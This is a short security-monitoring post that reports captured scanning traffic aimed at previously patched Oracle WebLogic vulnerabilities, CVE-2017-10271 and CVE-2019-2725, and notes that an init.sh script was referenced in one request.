Scanning for Previous Oracle WebLogic Vulnerabilities
In the past few weeks, I have captured multiple instance of traffic related to some past Oracle vulnerabilities that have already been patched. The first is related to a RCE (CVE-2017-10271) that can be triggered to execute commands remotely by bypassing the CVE-2017-3506 patch's limitations. The POST contains an init.sh script which doesn't appear to be available for download.
The second example is a vulnerability in the Oracle WebLogic Server component related to a Deserialization Vulnerability (CVE-2019-2725).
